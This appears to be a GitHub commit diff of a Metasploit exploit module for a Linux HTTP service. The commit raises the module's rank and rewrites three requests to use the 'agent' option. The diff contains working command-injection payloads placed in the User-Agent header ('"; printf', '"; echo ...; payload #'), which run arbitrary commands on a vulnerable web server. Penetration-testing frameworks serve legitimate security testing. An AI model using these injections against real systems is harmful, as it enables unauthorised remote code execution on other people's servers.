File tree Expand file tree Collapse file tree 1 file changed +4
-10
lines changed
modules/exploits/linux/http Expand file tree Collapse file tree 1 file changed +4
-10
lines changed Original file line number Diff line number Diff line change 4
4
##
5
5
6
6
class MetasploitModule < Msf ::Exploit ::Remote
7
- Rank = NormalRanking
7
+ Rank = ExcellentRanking
8
8
9
9
include Msf ::Exploit ::Remote ::HttpClient
10
10
@@ -53,9 +53,7 @@ def check
53
53
res = send_request_raw ( {
54
54
'method' => 'GET' ,
55
55
'uri' => '/' ,
56
- 'headers' => {
57
- 'User-Agent' => "\" ; printf \" #{ check_str } "
58
- }
56
+ 'agent' => "\" ; printf \" #{ check_str } "
59
57
} )
60
58
if res && res . code == 200 && res . body . to_s . include? ( Rex ::Text . md5 ( check_str ) )
61
59
return Exploit ::CheckCode ::Vulnerable
@@ -90,9 +88,7 @@ def exploit_cmd
90
88
res = send_request_raw ( {
91
89
'method' => 'GET' ,
92
90
'uri' => '/' ,
93
- 'headers' => {
94
- 'User-Agent' => "\" ; echo #{ beg_boundary } ; #{ payload . encoded } #"
95
- }
91
+ 'agent' => "\" ; echo #{ beg_boundary } ; #{ payload . encoded } #"
96
92
} )
97
93
98
94
if res && res . code == 200 && res . body . to_s =~ /#{ beg_boundary } /
@@ -113,9 +109,7 @@ def exploit_session
113
109
send_request_raw ( {
114
110
'method' => 'GET' ,
115
111
'uri' => '/' ,
116
- 'headers' => {
117
- 'User-Agent' => "\" ; #{ payload . encoded } #"
118
- }
112
+ 'agent' => "\" ; #{ payload . encoded } #"
119
113
} )
120
114
rescue ::Rex ::ConnectionError
121
115
fail_with ( Failure ::Unreachable , "#{ peer } - Failed to connect to the web server" )
You can’t perform that action at this time.
0 commit comments